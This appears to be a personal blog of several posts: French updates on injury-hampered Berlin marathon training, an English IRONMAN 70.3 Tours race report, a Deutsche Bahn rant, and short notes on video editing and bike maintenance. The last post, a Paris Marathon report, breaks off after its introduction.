Ma prépa marathon de Paris s'était passée à merveille, la course aussi.. Cependant, dans les quelques semaines précédant la course, une légère douleur était apparue dans le pied gauche. Rien de bien grave, à peine sentie pendant la prépa, voire pas du tout pendant le marathon. Cependant, elle n'a jamais vraiment disparu, et est réapparue plus forte lors de la reprise de mon entraînement en vue de l'IRONMAN, début Mai. Elle m'a même empêché de m'entraîner comme je voulais, j'ai dû annuler quelques séances à cause de la douleur.

C'est une douleur dans le pied gauche, vers l'extérieur et un peu sur le dessus sous la cheville. Rien de visible à l'oeil nul (pas de gonflement ou de changement de couleur). Mes symptômes me font penser à une tendinite/tendinopathie péronière (tendinopathie des tendons fibulaires). Et non du tendon tibial postérieur, qui lui est dans l'intérieur du pied. Ma douleur est ressentie le matin au lever lors des premiers pas, puis globalement à chaque fois que je me lève après de longues minutes assis. Si je me mets sur la pointe des pieds 2 ou 3 fois d'affilé pendant quelques secondes (et donc contracte mes muscles assez fortement), la douleur disparait presque immédiatement ensuite lors de la marche. Lorsque je commence à courir, je la sens assez fortement aussi, puis elle disparait avec les kilomètres en général, ou du moins se stabilise à 1 ou 2/10.

Lors de l'IRONMAN, la douleur ne m'a pas gênée, bien que j'ai l'ai sentie (environ à 2/10). C'est une douleur qui disparait au fur-et-à-mesure de l'effort, plus le corps est chaud. Après l'IRONMAN, j'ai coupé la course à pied 2 semaines. La douleur a complétement disparue lors de la marche.

Mi-juin, j'ai voulu attaquer la prépa marathon pour Berlin, et au bout d'une semaine à peine, la douleur était de nouveau là. D'abord, uniquement en début de run. Puis au fil des jours, présente lors de la marche après de l'inactivité. Juin et Juillet n'auront été qu'une succession de pauses puis reprises de la course à pied après plusieurs jours, dès lors que la douleur devenait trop forte pendant le run ou trop présente en dehors des runs. Gros coup sur la motivation. Sans compter sur l'été de merde qu'on se tape, temps gris, beaucoup de pluie, rarement au dessus de 22 degrés. Motivation dans les choux pour ce marathon.

J'ai essayé ces exercices quelques jours, sans grand succès. J'ai aussi fait un peu de protocole de Stanish ou ces autres exercices sans plus de succès.

Marathon de Berlin

J'ai sauté au moins la moitié des séances prévues pour ma prépa. Mon test VMA effectué en Juin a été une catastrophe. J'ai jamais dépassé les 60 km par semaine pour l'instant, et j'ai plusieurs semaines où le compteur est resté à zéro. Je n'ai presque fait aucune séance de fractionné. Bref, rien ne va.

Mon objectif pour Berlin, au lendemain de celui de Paris, était sub-3 heures. Je m'étais senti à l'aise à Paris, et Berlin est beaucoup plus plat que Paris. Ça signifiait quand même gagner près de 20 secondes au kilomètre, mais je m'en sentais capable. Cependant, au vu de mon entraînement so far, si j'arrive à battre mon temps de Paris ne serait-ce que de quelques secondes, ce sera un miracle. Rendez-vous dans 47 jours pour le verdict...

Update Jeudi 7 Août 2025

J'ai coupé mon entraînement marathon la semaine dernière. Ma dernière séance avec blocs à allure marathon était le mercredi 30 Juillet, le jeudi 31 j'avais de l'endurance fondamentale, puis j'ai coupé. Lundi 4 Août, je décide de reprendre la course à pied mais uniquement de l'EF, pas mon plan. En tout cas pour quelques jours. Lundi donc, 21 min en EF (3.77 km). Mardi rien. Mercredi 3, 30 min en EF (5.46 km). Aujourd'hui, 20 min à nouveau. La douleur ne semble pas revenir. En moyenne elle est à 0 ou 1/10. Hier, j'ai eu des pics à 2/10 mais brièvement. Pas de douleur lors de la marche, rien le matin lors des premiers pas. On croise les doigts 🤞. Cette semaine, je garde la fréquence (5 runs), mais je coupe le volume et l'intensité. Semaine pro, j'essaie de remettre du volume. Et enfin dans 2 semaines, je remets de l'intensité.

Update Lundi 11 Août 2025

Bon ça pue. J'ai pu finir la semaine passée en EF, en faisant 31 km au total sans trop de douleur au pied gauche. Par contre j'ai une nouvelle douleur qui est apparue sur le côté externe du genou gauche 😅, sur un tendon on dirait, ou peut-être la bandelette ilio tibiale. Un syndrome de l'essuie glace ? Le mercredi 30 juillet j'ai passé une partie de l'après-midi assis en tailleur, chose que je ne fais jamais habituellement... Est-ce la cause ? La douleur était apparue pour la première fois le lendemain lors d'un run. Ou alors aurais-je modifié ma foulée à cause de ma douleur au pied, ce qui aurait entrainé cette douleur au genou ? Aucune idée. Je ne suis même pas sûr que ça soit un syndrome de l'essuie glace, mais de ce que je lis sur Internet, ça y ressemble. Hyper handicapant quand ça se déclenche, ça m'empêche carrément de courir et me force à m'arrêter, seule la marche devient possible. La douleur est apparue plusieurs fois dans les derniers jours, à chaque fois en fin de run, d'un coup. La douleur est là quand le genou est plié, jambe en arrière "en l'air", après avoir perdu le contact avec le sol. Pareil en descendant des escaliers, dès que la jambe passe "derrière moi", légère douleur. Emmerdant cette histoire, je suis de moins en moins sûr de prendre le départ du marathon. Toute ambition de performance est oubliée. Vivement Octobre, je vais me prendre un full mois off from running.

Update Dimanche 17 Août 2025

Pas d'amélioration en vue. Sortie de 12 km hier avec variations d'allure. Douleur dans le pied gauche ok, entre 0 et 2/10 tout du long, plutôt à 0 en fin de sorie. Douleur genou gauche à 0 puis dans les 2 ou 3 derniers kms j'ai senti que ça "venait". J'ai réussi à empêcher la grosse douleur de se déclencher à plusieurs reprises en accélerant, et surtout en forcant une attaque avant-pied. Je rentre, dîner, 30 minutes assis. Au moment de me lever, la maxi douleur se déclenche, à 7 ou 8 sur 10, me faisant boiter en marchant. Aujourd'hui, la douleur était encore là ce matin, et plus rien ce soir, après 70 km de vélo (pendant lesquels je n'ai absolument rien senti). Ma douleur au pied elle n'empire pas mais ne disparait pas non plus. Je la sens à 1/10 ou 2/10 plusieurs fois dans la journée. Quasiment sûr à 100% que ma douleur au genon vient de ma douleur au pied.

Au stage où j'en suis, je ne suis même pas sûr d'avoir un syndrome de l'essuie-glace. Peut-être est-ce une autre type de douleur... En attendant, 2 vidéos sur le sujet pour du renforcement musculaire spécifique.

À retenir, après un diagnostic du syndrome de l'essuie-glace, il faut :

Couper l'entrainement jusqu'à disparition de la douleur totalement lors de la marche.
Réintégrer progressivement des séances avec marche et course alternées (1 min marche/1 min course par exemple, 10 fois). Au fil des jours et semaines, on augmente la part de course par rapport à la marche et on augmente la durée et le nombre de répétitions. Chaque séance doit se faire sans douleur, sinon revenir au "palier" précédent. On évitera de courir en ligne droite sur des surfaces trop régulières (préférer courir sur chemin plutôt que la route) et des allures trop régulières (préférer des variations d'allure). Essayer de se rapproche de 180 pas par minute, et de faire la moins de bruit possible en courant (courir "légèrement"/ligthly).
En parallèle, faire du renforcement spécifique (voir les 2 vidéos au-dessus).
En général il faut compter 4 à 6 semaines pour soigner ça.

Update Jeudi 28 Août 2025

Légères améliorations. Plus aucune douleur au genou gauche depuis une dizaine de jours, fin du chapitre syndrome de l'essui-glace ? Même si je le sens encore fragile et fatiguable, pas de douleur à proprement parler pendant ou après les runs.

Quant à mon pied gauche la douleur est toujours là, pendant les runs elle varie entre 0 et 2 en général, parfois jusqu'à 3, jamais plus. Elle a tendance à diminuer à 1 voire 0 en fin de séance. Je continue la prépa jusqu'au bout maintenant, c'est totalement supportable. Surtout que la motivation revient !!! La semaine dernière j'ai couru 70 kms, un record depuis Mars. Cette semaine, je vais tenter de faire autour de 70 aussi, peut-être plus ? 80 ? On verra. Niveau progressivité, on repassera, je suis globalement passé de 30 à 70 km d'une semaine à l'autre 🙈. Oops. J'ai repris les séances à intensité aussi. Bref, on est reparti ! Plus que trois semaines et demi avant le marathon !

J'ai coupé le vélo depuis la semaine dernière. Full focus sur la course à pied, rien d'autre.

Update Samedi 30 Août 2025

Que serait une prépa marathon sans un COVID ? Bingo, malade depuis hier. Full package : fièvre, courbatures, fatigue, nez pris... Génial ! Ça m'a fait louper ma séance VMA de la semaine... pas sûr que je puisse faire la sortie longue de demain non plus, on verra.

Update Mardi 2 Septembre 2025

Bon hier, dernier jour de fièvre. Aujourd'hui plus rien, j'ai repris le boulot. Hier soir, tétu j'ai voulu aller courir. Je voulais faire 2 blocs de 2500m chacun à allure marathon, j'ai pu passer qu'un bloc de 2000m. Le coeur montait bien trop haut (au delà de 180) alors que je devrais être à 170 voire 175 grand max. En tout j'ai couru 20 kms. J'étais bien KO hier soir mais aujourd'hui je pense avoir bien récupéré. Et ne plus avoir de fièvre, c'est un grand pas en avant !

En regardant en arrière, sur ces 3 derniers mois, ça aura été une sacrée prépa marathon de merde.

Semaine du 23 juin : je marche sur un énorme morceau de verre dans la rue. Bien sûr ce jour-là je portais des chaussures minimalistes avec une semelle hyper fine. Bim je transperce la semelle ET le pied droit, ça pisse le sang. Résultat ? Un paracétamol le soir pour s'endormir, le lendemain passé à bien douiller et surtout une semaine entière sans course à pied.
Je reprends tranquillement et progressivement la semaine suivante, en Juillet donc. Le pied est toujours douleureux, je dois être hyper progressif. Pas de fractionné. Mon test VMA (demi-Cooper) effectué le 6 Juillet est pourri, je fais pire que mes 2 précédents tests.
Au fil du mois de Juillet, ma douleur dans le pied gauche revient graduellement, chaque sortie un peu plus forte. Un douleur que je me traîne depuis Mars ou Avril. Je remets la course à pied en pause du 15 (inclus) au 26 Juillet (inclus). Je reprends le 27 par un 18 kms (LOL!).
Le 31 Juillet, apparition du syndrome de l'essui glace ! Il ne me quittera pas pendant plus de 2 semaines. Dernière vraie douleur le 18, puis plus rien.
Tout le mois d'Août n'aura été finalement qu'une remise en charge progressive. Le 20 Août, je réussis pour la première fois depuis plus d'une mois une séance à 100%, telle que prévue par Kiprun Pacer. La douleur au pied gauche est stabilisée, elle ne dépasse jamais 2 ou 3 sur 10 à chaque début de run et stagne généralement autour de 1/10 pendant le reste du run. Je sens que ça s'améliore bien vers la fin Août, notamment le matin lors des premiers pas, la douleur est de moins en moins présente.
Bref, tout commençait enfin à aller mieux... jusqu'à vendredi dernier, 29 Août, où les premiers symptômes du COVID sont apparus, confirmés par un test le lendemain. Samedi et dimanche fiévreux, hier lundi une bonne partie de la journée. Aujourd'hui, back to 100% ? Plus que 2 semaines et demi avant le jour J... Je m'en rappellerai de cette prépa. 😄

Update Mardi 10 Septembre 2025

Semaine dernière (S-2) - 1 au 7 Septembre

Enfin guéri du COVID. J'ai pu aller courir 32 kms il y a 2 jours, et conclure une semaine à 90 kms ! L'autre bonne nouvelle, c'est que ma douleur au pied est aussi presque 100% guérie, disons à 95%. Depuis une semaine, la plupart des séances commencent avec une douleur à 1/10 et au bout de 2 ou 3 kms chutent à 0. Pareil le matin au lever, zéro douleur ! Il faut croire que continuer à courir sur une douleur ne dépassant pas 3/10, le plus souvent possible, était la bonne stratégie. J'ai fait close to zéro renforcement pour cette douleur, 5 fois maximum en l'espace de 4 mois. Pareil pour mon syndrome de l'essuis glace, un seul renfo spécifique qui je pense n'a servi à rien. C'est passé tout seul.

La mauvaise nouvelle c'est que le COVID mais aussi ma prépa marathon à moitié faite font que je ne suis pas du tout habitué à mon pace objectif de 4'20"/km. Il y a 3 mois je visais 4'10", début Juillet avec la blessure au pied qui revenait de plus belle, j'avais abaissé à 4'20". Aujourd'hui, je ne suis pas sûr du tout de tenir ça sur 42kms. Le cardio monte trop vite à 180 à cette allure là, au bout de 2 kms. Alors que normalement 180 c'est plutôt en milieu/fin de marathon. Le COVID n'aide pas, j'ai lu sur internet que plusieurs semaines après la maladie, les effets sur le rythme cardiaque peuvent être ressentis. Ma Garmin me donne une valeur de VO2 Max à 57 depuis 2 semaines, alors que depuis des mois j'avais 58, et même 59 fin Mai/début Juin, avant l'IRONMAN 70.3 Mais cette chute à 57 ça coincide avec l'arrêt du vélo de route, il y a 2 semaines.

Il faut dire aussi qu'avec les mois de Juillet et Août en dents de scie niveau course à pied, à cause de ma douleur au pied gauche, j'ai très peu bossé cette allure de 4'20"/km. Je compte donc aujourd'hui faire le premier semi à cette allure le jour de la course, je suis presque sûr de pouvoir le tenir, et ensuite advienne que pourra. Ça me ferait chier de finir ce marathon sans aucun PR. Je doute de pouvoir PR sur mon temps au marathon, alors autant PR sur le semi ! Qui sait ? Peut-être qu'avec la température plus fraîche le matin de la course (on annonce sous les 15 degrés) et les 10 jours d'entrainement/affûtage restant, un miracle peut arriver ! D'ailleurs oui, je ne vais faire qu'une semaine d'affûtage au lieu de deux, vu le faible volume kilométrique des dernières semaines.

Dernière ligne droite ! 🚀

Living in Germany: Die Deutsche Bahn

2025-08-05T00:00:00+02:00

Just needed to rant a bit about the Deutsche Bahn,the national railway company of Germany. Most foreigners (people not living in Germany or moving to Germany from elsewhere) usually believe that trains in Germany run on time, are never disrupted nor canceled, just like in Switzerland. This could not be further from the truth. I love trains. I love german trains, their long-distances ones (ICE) and their regional ones. But damn they suck at punctuality and getting people to where they need to go.

They've just reached a record low. In 2024, only 62.5% of their long-distance trains reached their destination "on time" (with a delay of less than six minutes). In 2025, Switzerland started replacing some segments of cross-border journeys with their own SBB trains, to prevent chronic delays. They also have a policy of preventing Deutsche Bahn trains from entering the country if they are running too late.

And of course I got to experience this recently. Twice. I was going from Berlin to Basel and back.

On the way in, the train simply never reached Switzerland. The Basel stops (the last two stops) were canceled. Simply removed. We were told so about two hours before reaching our destination. Easily explained looking at how late the train was...

My pleasant trip: 92-minute late, destination canceled. LOL

And on the way back, only Basel SBB was canceled last minute, like an hour before boarding. Luckily I was able to get on the train at Basel Bad Bf.

It cannot get any worse, can it?

IRONMAN 70.3 Tours 2025

2025-06-11T00:36:00+02:00

Training

On April 13, 2025, I took part in the Paris Marathon. My first IRONMAN 70.3 was scheduled for exactly seven weeks later, which left very little time for specific training. The Paris Marathon was my main objective for the first half of 2025. So, in December of last year, I laid out a plan as follows:

Full focus on marathon training: a 13-week training plan starting in January, with five runs a week.
In addition, one mandatory swim per week of at least 1,000 meters. I don't have a coach, I'm not in a triathlon club, and I didn't want to do specific drills — just plain swimming to try to improve my endurance.
Every Monday: gym. Weight lifting, focusing on pecs, arms, and legs. To look good, of course, but also to help with swimming and running.
One optional bike ride on the weekend if the weather was good enough. I also bought a home trainer in the middle of winter to complement my training.

I paused swimming for the last two weeks before the marathon.

Then, after the marathon, I took a full week off from all sports and then started training specifically for this IRONMAN 70.3.

Having developed a sore left foot after the marathon (it's still sore today as I'm writing this article!), I lightened my running training from five to two or three runs a week. The pain isn't too bad: 1/10 when walking, 4/10 at the beginning of any run, then it drops to 1/10. But it's still annoying, and I didn't want to make it worse.

I resumed swimming once a week, increasing to two or three times a week in the last three weeks before the race.

Cycling-wise, we went to Bavaria for a full week at the beginning of May to train and focus specifically on cycling. The rest of the time, I continued commuting with my bike, of course, and went for the occasional weekend ride. All in all, in May, including commute rides, I cycled more than 1,000 km.

Gear

The most stressful part of triathlons is the logistics and gear, if you ask me. One needs so many different things, especially for the cycling leg. I didn't want to wait until the last minute, so early in the year, I started buying everything I would need, week after week.

In March, after weeks of weighing the pros and cons, I finally settled on buying a tri-bike. Then it took me multiple tries to adjust and fit it correctly until I could finally start training with it.

Even finding the right rear-mounted bottle holder was a challenge.

Two weeks before the race, I accidentally crushed a Di2 cable inside one of my aerobars because I swapped two screws of different lengths. Fortunately, my local bike shop was able to replace it in no time. Stressful!

Finally, I also traded my Decathlon trisuit for a new one from Z3R0D. I love it!

Travels

Logistics. My nightmare. How to travel from Berlin to Tours, two cities more than 1,000 km apart. We settled on a combination of trains and a rental car.

We made it a point not to disassemble our bikes for train travel because 1) Deutsche Bahn staff can deny boarding if luggage is deemed too large, and 2) it's hard to cram disassembled bikes into luggage racks without damaging them. Hence our choice for the train whenever possible, and a rental car when keeping the bikes in one piece was no longer an option.

Germany's and France's fast trains (ICE and TGV, respectively) usually have a few spots for bikes. By the time we booked everything, there were still spots on a train from Berlin to Mannheim. But unfortunately, all the TGVs had no more bike spots. And timewise, it wasn't going to work.

Our bikes on the train

So on Wednesday, May 28th, we set out. We took an ICE from Berlin to Mannheim. After Mannheim, two regional trains took us to Saarbrücken, where we rented a car.

Where the f*ck are we?

Our bikes on the train

At the end of this very long day, we spent the night in Paris. The next day, we drove three hours to Tours.

Bikes in the trunk of our rental car

Also, side note: we rented a Polestar 2 and we absolutely loved it. It has a pretty good range, even when driving at 130 km/h. And the fast-charging stations on the freeway are truly fast, despite being quite pricey (59 cents per kWh in France, even more expensive in Germany). We never drained the battery below 20% and wouldn't charge it past 80%. Going from 20% to 80% usually took 30 to 35 minutes using the most powerful charging stations (300 kW), even if the car was unable to draw more than ~100 kW.

Race weekend

Finally, the race weekend arrived. The culmination of many months of training since signing up in August of last year.

We arrived at the campsite in the late afternoon, about 9 km from where the race would start. Our friends arrived at the same time. We checked in and did basically nothing that evening.

Friday

The next day, we went to the Expo in the morning to collect our bib numbers and transition bags. The place was HUGE. It was located at the Exhibition Center. We checked out the merch, got our bib numbers, took a bunch of photos, and went back home. In the afternoon: full-body shave! Afterward, we did a "small" recon of the bike route, 70 km of the 87 km. The weather that weekend was abnormally hot and dry: 32 degrees Celsius. Damn hot. That recon ride did not go unnoticed.

Us at the Expo on Friday

Confidence at its peak

Saturday

On Saturday, things got real.

Briefing

At 10:15 a.m., we showed up again at the Expo for the briefing. It was a 30-minute session where we all sat in tiered seats in the stands and were shown a slide deck presented by Jay Style. After that, we went home again, only to come back a few hours later.

After an early lunch, we all started packing our transition bags very carefully so as not to forget anything. We also prepared our water bottles for the bike leg. A couple of checks on the bikes. Then we loaded them into the car and off we went, back to the Expo.

Bike drop-off

I was a bit anxious about leaving the bike in this massive building. Not because I was worried it might get stolen (almost all the other bikes were more expensive than mine 😂), but because 1) I was afraid I might have forgotten something, and 2) I was worried about the tires, picturing finding the bike with a puncture the next day. The usual piece of advice is to slightly deflate the tires for the night and inflate them again just before the race. I left mine untouched.

The bike park

Transition bags drop-off

I was even more stressed about forgetting something for my transition bags. I must have checked my checklist 10 times before leaving the campsite 😅. But the good news was that we would be allowed to access our transition bags again the next day before the race.

Transition area

Transition bags

After leaving my bags, I realized I had forgotten to leave my triathlon belt and bib number in the blue one (the one for the bike leg). We had been asked to wear it to be granted entry into the transition area. I simply forgot to take it off, so I went back a few minutes later to drop it off for real this time. LOL.

Bedtime

7:00 p.m.: dinner time. Then, a few final checks. Swim goggles? Check. Swim caps? Check. Wetsuit? Check. Again, I must have checked my checklist 10 times, just to convince myself that I was 100% ready.

Pile of things to put on first thing in the morning

Hydration: ready

Unfortunately, that night, there was a big football game: the UEFA Champions League final. The campsite was a bit loud between 9:00 p.m. and 11:00 p.m.

We got into bed around 9:45 p.m. The alarm was set for 5:05 a.m. It was strange trying to fall asleep while it was still bright outside. With the help of a sleeping mask and earplugs, I think I fell asleep around 11:00 p.m.

I woke up about an hour and a half later, feeling fine and wide awake, ready to go. I thought it was time to get up already. I checked the time and realized how early it was. I managed to fall asleep again soon after, until around 4:30 a.m.

Sunday: RACE DAY

Between 4:30 and 5:00 a.m., I was half-asleep and half-awake. Ultimately, I got up just before my alarm clock went off, feeling a bit tired but surprisingly not exhausted. I was READY!

Pre-race

I had my usual pre-race breakfast: muesli with soy milk, Gatosport, and a banana.

One last toilet stop. We left around 5:45 a.m. Traffic jams and road closures were to be expected. We played it smart. We used an alternative toll road; it was slightly longer, but we got there without any traffic. We only had to wait a bit to enter the parking lot, as a queue of cars had formed. We were out of the car by 6:15 a.m.

We rushed toward the bike park. I found a bike pump, topped up my tires with some air, placed my food and water bottles on my bike, and then headed for the transition bags. There, I left my bike computer in my blue bag and my gels in my red bag. The transition area was meant to close at 6:50 a.m. We weren't in a hurry. We decided to take it easy and avoid any stress, since we had pretty much nothing left to do. I think we left the transition area at 6:48 a.m., but there were still a lot of people inside. I doubt they shut it down on time.

Swim

The queue to get into the water was massive. First, we dropped off our white bags (streetwear), put our wetsuits on, and got in line. There were corrals based on estimated swim times. The faster swimmers started before the slower ones. I got in the 40-45 min corral. I didn't get to the starting line until 7:50 a.m.

I had a nice surprise minutes before getting into the water. The announcer started calling out our names. Not only had my mom and one of my sisters shown up on time, but they had also positioned themselves meters from the starting line and managed to draw the announcer's attention. We posed for a photo and that was it: we were NEXT IN LINE for the start.

The very first seconds of my race

The swim went surprisingly well. I found a good rhythm and got into "my flow". I managed to swim freestyle the WHOLE time. Not a single second of breaststroke. The water was pretty warm (warmer than 20 degrees) and tasteless (yep, I drank much more river water than I would have liked 😆).

After the first half, I started thinking about calf cramps. I had had a few in the past during training. I managed to hold them off. At some point, I felt one coming on in the right calf, so I paused for 3 seconds in the water and stretched my calf with my hands. All good. False alarm.

Finally, the last buoy. Final push... I could see the shore... I tried to reach for the ground, nope, not yet, one last stroke... and CRAMP!!!! 🚨 A cramp in the left calf on the very last stroke, just before getting out of the water. FUCK! The whole time I was expecting a cramp in the right calf, since I had had a few cramps there in the last few weeks. But it was all right; I could reach the ground at that point. I walked out of the water. The cramp went away after two or three steps.

Coming out of the water. I am on the right-hand side, in case you had any doubt.

My family was there again. That put a big smile on my face and gave me the courage for the rest of the race.

It took me 43 minutes and 36 seconds to complete the 1.9 km swim.

T1

All right, time to run to the bike. I started to pull my wetsuit down. As I was running, I realized I needed to pee. Yeah, I drank too much river water. I saw two options: go to a porta-potty or... wet myself. I was already wet from the river. A friend had told me she had done that in a race before... I went for option 2.

Taking the wetsuit off took me forever. Afterward, I realized my aero calf sleeves had slipped down to my ankles while taking off my wetsuit. I had to pull them back up over my calves. I lost a solid 30 seconds there for sure. I will not wear these ever again. Pretty useless. Shaving is nearly as good.

T1 was 9 minutes and 17 seconds long. There is definitely room for improvement!

Bike

I already knew 70 km of the 87 km bike leg.

The route was beautiful! Closed to cars almost everywhere except in the last 5 km or so. I truly loved it.

The "no-drafting" rule was not strictly followed or enforced on the bike leg. I only saw two or three race referees on motorbikes. Since I am a fairly bad swimmer, I came out of the water with the "average" cyclists. As a result, I spent the whole bike leg overtaking people. I don't remember being overtaken once.

Posing, as always

My initial plan was to consume 90 grams of carbs per hour for 2 hours and 30 minutes (my estimated bike time). I wasn't planning on grabbing any bottles or food from aid stations. But when filling my bottles the day before, for some reason I decided to put a lot more than that in them. Because, you know, why not? In the end, this is what I was carrying on my bike:

2x 950 ml bottles of water with energy powder in each. One with a Maurten Drink Mix 320 and some other powdered mix from Decathlon. The other bottle with only the Decathlon mix. But each bottle had much more than one portion of powder... much more.
1x small bottle with only water
2x Maurten 100 gels + 1 energy bar

Needless to say, this was WAY beyond the 90 * 2.5 grams of carbs I needed.

At some point during the first half of the ride, I lost my rear-mounted bottle of plain water. I knew it wasn't speed-bump-proof. Up until that one speed bump, we had gone over multiple others. Every time, the bottle had slipped a little, but I had always been able to put it back in the holder. Except for that one time.

I heard a big crashing sound behind me.

I guess I rode over that speed bump too fast and too harshly. I quickly glanced back, saw it, and for a split second thought, "Fuck it, let's keep riding." But then I realized someone might have seen me, and I could risk disqualification. So I decided to stop and go back to pick it up. Fortunately, a volunteer saw it, ran toward the bottle, picked it up, and brought it to me as I was walking back clumsily with my bike between my legs. The bottle had burst open, with only a sip of water left inside. With hindsight, I should never have stopped for it and should have carried on. All in all, I lost at least 30 seconds picking it up.

Another lesson from that event: always carry plain water behind the saddle, not an energy drink, in case you lose it, so as not to put your nutrition strategy at risk.

Anyway, I was back in the game. Full focus. Later on, I grabbed a bottle of water at an aid station.

I think I spent something like 70% of the ride on the aerobars and the rest on the handlebars for comfort.

I started feeling hungry at some point on the bike. I guess my breakfast was too light and also too early. We ate at 5:15 a.m. and started swimming at 7:50 a.m. So I thought I might as well eat a lot on the bike since it's much easier than eating while running. But what I thought would be a good idea turned out to be a pretty shit idea later. Throughout the whole bike leg, I drank close to 3 liters and ate way too much. I clearly exceeded the 90 grams of carbs per hour that I was initially aiming for. I knew I was carrying too many carbs in my water bottles, but I still decided to drink it all before the run leg.

I saw my family once again in one of the last turns before the bike park. I then remembered too late that I had to take my feet out of my shoes to dismount the bike smoothly while leaving the shoes on the pedals. I tried to do it at the last minute in a hurry, but I was only able to get my feet out and put them on top of the shoes. I got too close to the dismount line to do it gracefully while riding. I had to come to a full stop and then get off. Fair enough.

It took me 2 hours, 22 minutes, and 41 seconds to complete the 87 km bike ride.

T2

That second transition was mostly good. After dropping off my bike, I quickly took a piss in a porta-potty and proceeded to the transition area. In the rush, I forgot to take off my fingerless gloves. I realized this later while running and had to put them away in my trisuit pockets.

T2 was 4 minutes and 45 seconds long. I could probably have shaved off 30 seconds if I hadn't had to go pee.

Run

The run started off really badly. In the first few hundred meters, I realized that my belly was WAY TOO FULL. Bloated. That's when I realized how badly I had messed up my nutrition on the bike. I thought it would get better over time, but it didn't. With every kilometer, I got slower and slower. I knew I wouldn't be able to eat anything during the run.

Five or six kilometers later, I had reached a point of no return. I could not hold it any longer. It was painful, and I was slowing down too much. A pit stop was needed. I spotted a porta-potty at an aid station at km 6.5 and stopped for a number two. For THREE. MINUTES. Why so long, you may wonder? Because I was drenched in sweat. It was crazy hot (24 degrees Celsius). Taking off the top of a trisuit when you're sweaty takes forever. Like a minute! Same goes for putting it back on. I should have done that while running, not in the porta-potty.

After that, the rest of the run was great. I felt new again. Reborn. Fast again!

The route was super nice. Two loops that went through an island that is actually a park and along riverbanks. Away from the streets. The two loops started and finished in the exhibition center, giving spectators a chance to see us multiple times: at the start of the run, halfway through, and at the finish line. Which is exactly what my family did.

In the second half of the run, I noticed how tight my elastic laces were, especially on the left foot. I started feeling some pain growing. It remained manageable until the end, but I will be sure to loosen them next time.

I should have looked at the total time on my watch during the run. If I had seen that I was less than a minute away from a sub-5-hour time, I would have definitely been able to run faster. But overall, I am very happy with my run! I grabbed water at almost every aid station because of the heat, but I didn't eat anything despite carrying four gels in my back pockets.

Crossing the finish line was a blast! The IRONMAN 70.3 Tours is the only one in the world with an indoor finish line. That was spectacular. The crowd was gathered in the stands. Music was blasting, lights everywhere. A true show!

Run leg

It took me 1 hour, 40 minutes, and 41 seconds to complete the half-marathon, with a pace of 4'42"/km (pit stop included!).

The whole race: 5 hours and 58 seconds.

Conclusion

Us four celebrating with our medals

I am absolutely delighted! I loved every second of the race. And being with friends and family made it even more special. I can't wait to do it again!

Next time, I need to put on anti-chafing cream between my legs. The aero position and the thin chamois led to a lot of chafing in my pelvic area.

Next time, I shall also eat more for breakfast and/or bring food to eat an hour before the race begins, like a slice of Gatosport. I can't eat so early before a race; I guess my body digests food quickly.

Anyway, this concludes a lengthy article about my very first IRONMAN 70.3! 🏅

Lessons learned

Eat something an hour before the start.
Practice longer, uninterrupted swim sessions to improve endurance and avoid cramps.
No aero calf sleeves.
Faster T1: practice removing the wetsuit.
Fasten the rear-mounted bottle securely.
Eat exactly 90 grams of carbs per hour on the bike, not more. Likewise, avoid drinking too much water.
Carry plain water behind the saddle and energy drinks on the frame.
Use anti-chafing cream between the legs.
Don't stop for a fallen water bottle.
Loosen elastic shoelaces.

Tuto Davinci Resolve: Dynamic Short on Running

2025-05-24T23:20:00+02:00

Vertical format

Tick "Use vertical resolution". Prefer 4K instead of 1080p, unlike in the screenshot below.

Color management

Based on your source material but also the destination platform (Youtube, Instagram), you may want to export in SDR (Rec.709), as HDR is not always supported.

Create a compound video

Select all of your video elements in the Media Pool, and group them in a new timeline. Later, we will apply video effects on the entire compound video.

For each clip of the compound video

Sync the duration of each clip with the background song. Ideally, clip transitions should occur one frame before the next music beat, not earlier. Videos on social media are watched on a phone, so the distance "phone to ears" is short, no need to compensate like you'd do for videos meant for TV, where two frames ahead of the beat is often better for transitions.
No need to mute each individual clip, as the compound video will be muted in the timeline.
For static images: apply zoom-in effects and changes in the position, to add dynamism. You'll find these in the "Video" tab. Use 2 keyframes (red dots in the screenshot): one on the first frame, one on the last
For videos: zoom-in and position effects should be used too. Changing the position throughout the clip can help shift the focus from one element to another, from one person to something, etc.

Final cut in the main timeline

Add your compound video to the timeline, and mute its audio track.
Add your background song to the timeline.
In "Color" at the bottom of the screen, find the "RGB Mixer" and select "Monochrome".
Add effects on the compound video:
"Camera Shake": play around vith the values but make it subtle, not too shaky
"Film Damage": same, make it subtle. Disable the Scratch effect.

That's it! Ready to export.

Comment Changer Une Guidoline

2025-05-16T11:00:00+02:00

Tips

Commencer par le bas des cocottes, de l'extérieur vers l'intérieur du guidon par le haut (comment montré dans la vidéo).
Attention au sens de la guidoline s'il y a le logo de la marque. Souvent il y a un sens pour que le logo soit visible à chaque tour autour du guidon.

À gauche : mal fait. À droite : bien fait, dans le bon sens, logo visible.

The Headset of Carbon Bikes

2025-05-05T23:30:00+02:00

Installing a headset on a carbon road bike can be tricky. Or simply fixing some play and re-aligning the handlebar. So here are some useful tricks that I recently learned while removing play on my own carbon bike.

First things first, pretty much everything is summed up in this video below:

Now, a couple of things to consider:

A steerer tube means pivot de fourche in French (that one is a reminder for my future self)
The headset bearings are preloaded (adjusted) by tightening a top cap bolt that pulls upwards on an anchor inside the steerer tube (either a star nut for metal steerers or an expansion/compression plug for carbon steerers). This is what prevents play.
In addition to helping preload the headset bearings, a compression plug serves to counter the tension from the stem bolts on the steerer tube. In other words, it "reinforces" the carbon steerer tube against the stem's clamping force.
When uninstalling a headset, start by unscrewing the top cap, then the 2 stem bolts, and finally the compression plug, that is hidden inside the steerer tube
When reinstalling everything, start by tightening the compression plug, then the top cap on top of it, and finally the 2 stem bolts.
The max torque to apply to each bolt is usually written on the components themselves. If not, manufacturers usually provide online documentation. For my 2019 Cube Attain GTC Pro, they are not written on the components, but I found this PDF. It does not 100% match my bike but here are the forces I've applied:
- Compression plug: 6 Nm. When asking Gemini, it recommends 5 to 8 Nm. In the PDF above-mentioned, under Others > Aheadset - Conical clamp I see 7-8 Nm.
- Top cap: 6 Nm. In the PDF, there is no mention of that.
- Stem bolts: 5.5 Nm. Gemini recommends 4 to 6 Nm. In the PDF, under Stem > Syntace > Fork I get a few numbers, but 8 Nm is the smallest maximum torque.

That's it!

Marathon de Paris 2025: Race Report

2025-04-23T00:30:00+02:00

Another race in the books! 🎉 Alright, let me tell you all about it.

Goals

It's always best to have multiple goals going into a race, just in case something goes wrong and the main goal becomes unreachable. So here were mine:

